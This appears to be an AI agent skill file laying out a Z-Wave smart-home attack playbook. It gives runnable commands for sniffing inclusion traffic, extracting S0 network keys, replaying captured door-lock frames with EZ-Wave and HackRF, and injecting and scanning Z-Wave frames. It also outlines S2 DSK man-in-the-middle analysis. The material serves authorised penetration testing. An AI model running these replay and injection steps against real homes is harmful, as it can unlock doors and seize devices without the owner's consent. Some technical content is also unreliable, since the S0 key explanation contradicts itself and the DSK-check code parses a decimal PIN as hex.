- name
- z-wave
- description
- Z-Wave S0 network-key derivation flaw exploitation, S2 ECDH/DSK analysis, replay attacks against unauthenticated Z-Wave nodes, traffic capture with RTL-SDR, and active fuzzing/replay with EZ-Wave and Z-Force. Covers 868.42 MHz (EU) and 908.42 MHz (US) bands.
- allowed-tools
- Bash Read Write
- metadata
- {"subdomain":"iot","when_to_use":"Z-Wave, S0, S2, ECDH, DSK, EZ-Wave, Z-Force, replay, unauthenticated, smart home, Z-Wave controller, 868 MHz, 908 MHz, RTL-SDR, scapy-radio, Z-Wave network key","tags":"z-wave, s0, s2, replay, iot, embedded, sdr, 868mhz","mitre_attack":"T1040, T1557, T1190, T1078"}
# Z-Wave S0/S2 Security Assessment
> Z-Wave is the dominant proprietary RF protocol for smart-home devices
> (locks, thermostats, sensors). Security class S0 (2009) has a fundamental
> key-exchange flaw: the network key is transmitted in cleartext during
> inclusion. S2 (2017) upgrades to ECDH but introduces a DSK (Device
> Specific Key) bootstrapping step that can be MITM'd if the controller
> UI does not enforce out-of-band DSK verification.
## Prerequisites
- **Hardware**:
- RTL-SDR Blog v4 (passive capture, 24–1766 MHz) + GNU Radio.
- HackRF One (TX/RX, active replay and injection, 1 MHz–6 GHz).
- OR Sigma Designs UZB stick / Aeotec Z-Stick Gen5 (USB Z-Wave
controller, for EZ-Wave / Z-Force active work).
- **Software**: `gr-zwave` (GNU Radio Z-Wave OOK decoder), EZ-Wave,
Z-Force / zniffer, Scapy with Z-Wave layer.
```bash
# Install gr-zwave (build from source on Kali):
git clone https://github.com/BastilleResearch/scapy-radio
# EZ-Wave:
git clone https://github.com/AFcruzBR/EZ-Wave
pip install pyserial pyzmq
# Z-Force (Silabs):
# Download Zniffer binary from Silabs PC_Host_SW_Bundle; run on Windows VM or Wine.
```
## Z-Wave Frequency Reference
| Region | Primary frequency | Fallback |
|---|---|---|
| EU / UK | 868.42 MHz | 869.85 MHz |
| US / CA | 908.42 MHz | 916.0 MHz |
| JP | 922–926 MHz | — |
| AU / NZ | 919.8 MHz | 921.4 MHz |
Set your SDR to the correct region frequency.
## Phase 1: Passive Capture with RTL-SDR + gr-zwave
```bash
# Start GRC flowgraph for Z-Wave OOK demodulation:
# Use the gr-zwave example flowgraph (zwave_rx.grc).
# Set sample rate = 2 MHz, center_freq = 908.42e6 (US) or 868.42e6 (EU).
gnuradio-companion /path/to/gr-zwave/apps/zwave_rx.grc
# Alternatively, capture raw IQ and decode offline:
rtl_sdr -f 908420000 -s 2000000 -g 40 /tmp/zwave_capture.iq
# Then pipe through gr-zwave offline decoder:
python3 gr-zwave/apps/decode_zwave_file.py /tmp/zwave_capture.iq
```
Capture traffic during an inclusion event (when a new device is added to the
controller) — S0 key transport happens in plaintext at this moment.
## Phase 2: S0 Key Extraction During Inclusion
S0 inclusion sequence:
1. Controller sends `NETWORK_KEY_SET` with the 16-byte network key **XOR'd
with the Z-Wave default key** `0x00×16`.
2. Node acknowledges with `NETWORK_KEY_VERIFY`.
Since the default key is all-zeros, the XOR is trivially reversible:
```python
DEFAULT_KEY = b'\x00' * 16 # Z-Wave S0 default key
def extract_s0_key(key_set_payload: bytes) -> bytes:
"""
key_set_payload: bytes 3–18 of the NETWORK_KEY_SET command body (after CC byte 0x98, cmd 0x06).
"""
return bytes(a ^ b for a, b in zip(key_set_payload[:16], DEFAULT_KEY))
# Since DEFAULT_KEY is 0x00 this is identity — the key IS the payload.
# In practice, the "encrypted" key in S0 KEY_SET is sent under a temp key
# derived from the controller nonce + node nonce; capture both nonces.
```
Use Scapy Z-Wave layer to parse frames from pcap:
```bash
# EZ-Wave sniffer mode (requires Aeotec Z-Stick or UZB):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c sniff | tee /tmp/ezwave_sniff.txt
```
## Phase 3: Replay Attack on Unauthenticated Nodes (No-Security / S0 with extracted key)
Devices that joined with **no security class** (very common on older gear)
accept any RF frame addressed to their NodeID. EZ-Wave replay:
```bash
# Record a legitimate command (e.g., door lock LOCK command):
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c capture -f /tmp/lock_cmd.bin
# Replay the frame (unmodified) — triggers the lock:
python3 EZ-Wave/ezwave.py -s /dev/ttyACM0 -c replay -f /tmp/lock_cmd.bin
```
With HackRF + GNU Radio for raw OOK replay:
```bash
# 1. Capture raw IQ of target frame:
hackrf_transfer -r /tmp/zwave_frame.iq -f 908420000 -s 2000000 -l 40 -g 40
# 2. Replay at same frequency:
hackrf_transfer -t /tmp/zwave_frame.iq -f 908420000 -s 2000000 -x 47
```
## Phase 4: S2 DSK MITM Analysis
S2 inclusion uses ECDH (Curve25519). The DSK (device-specific key, a 16-digit
PIN printed on the device label) is used for bootstrapping the ECDH exchange.
Attack vectors:
1. **MITM if DSK not verified**: if the controller software auto-accepts the
DSK without prompting the user to verify, a spoofed node can substitute
its own public key.
2. **Physical DSK exposure**: the DSK is printed on a label or QR code on the
device. If the attacker had physical access (supply chain, retail), they
can record DSKs and later include the device under their own controller.
```python
# Verify the ECDH public key in the S2 NODE_INFO_CACHED_GET exchange:
# Use Z-PC-Zniffer (Silabs) to capture the S2 INCLUSION_REQUESTED_REPORT.
# Extract the node's public key (32 bytes) from the Z-Wave Application
# Framework spec table "SECURITY_2_PUBLIC_KEY_REPORT".
# Cross-check with the DSK:
# First 2 bytes of the public key == first 2 bytes of the DSK (big-endian).
# If auto-granted, the controller accepted without verifying remaining 14 bytes.
def check_dsk_mismatch(public_key_hex: str, dsk_pin: str) -> bool:
pk_bytes = bytes.fromhex(public_key_hex)
dsk_bytes = bytes.fromhex(dsk_pin.replace("-", ""))
return pk_bytes[:2] == dsk_bytes[:2] and pk_bytes[2:16] != dsk_bytes[2:16]
```
## Phase 5: Z-Force Active Fuzzing
Z-Force (formerly Silabs PC Zniffer extended by security researchers) allows
injecting arbitrary Z-Wave frames via the USB Z-Wave controller:
```bash
# Z-Force CLI — inject raw frame to NodeID 5, Command Class 0x25 (Binary Switch):
zforce inject --node 5 --cc 0x25 --cmd 0x01 --payload 0xFF # Switch ON
# Enumerate all nodes in range (broadcast NodeID 0xFF):
zforce scan --freq 908420000
# Replay a captured BASIC_SET frame:
zforce replay --file /tmp/basic_set.zwave --node 5
```
## Evidence
```bash
EVIDENCE="/workspace/evidence/z-wave/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/zwave_capture.iq "$EVIDENCE/"
cp /tmp/ezwave_sniff.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
```
```python
kg_add_node(
kind="finding",
label=f"Z-Wave S0 network key extracted NodeID={node_id}",
props={
"key": f"z-wave::s0::{home_id}",
"home_id": home_id,
"node_id": node_id,
"s0_network_key_hex": s0_key.hex(),
"security_class": "S0",
"frequency_mhz": 908.42,
"source": "gr-zwave+ezwave",
},
)
```
## OPSEC Notes
- Z-Wave HomeID (32-bit) is broadcast in every frame — trivially identifies
the network. Capture any frame to determine HomeID.
- Replay of door lock commands is a physical security event. Only perform
with owner consent and a documented rollback plan (alternate entry method).
- RTL-SDR is receive-only — zero RF emission from capture phase.
- HackRF replay is detectable by a Z-Wave sniffer or IDS (Silabs Zniffer)
if the operator has one deployed; most consumer smart-home installs do not.
- S2 with ACCESS or AUTHENTICATED class and manual DSK verification is
resistant to all MITM techniques described here; document as hardened.
## References
- EZ-Wave: https://github.com/AFcruzBR/EZ-Wave
- gr-zwave: https://github.com/BastilleResearch/scapy-radio (Z-Wave module)
- Crowley & Heeger "Z-Wave Reverse Engineering" (DEF CON 21).
- Silabs Z-Wave PC Zniffer: https://www.silabs.com/developers/z-wave
- Z-Wave Alliance security classes: SDS13784 (Security 2 spec).
Ver en GitHub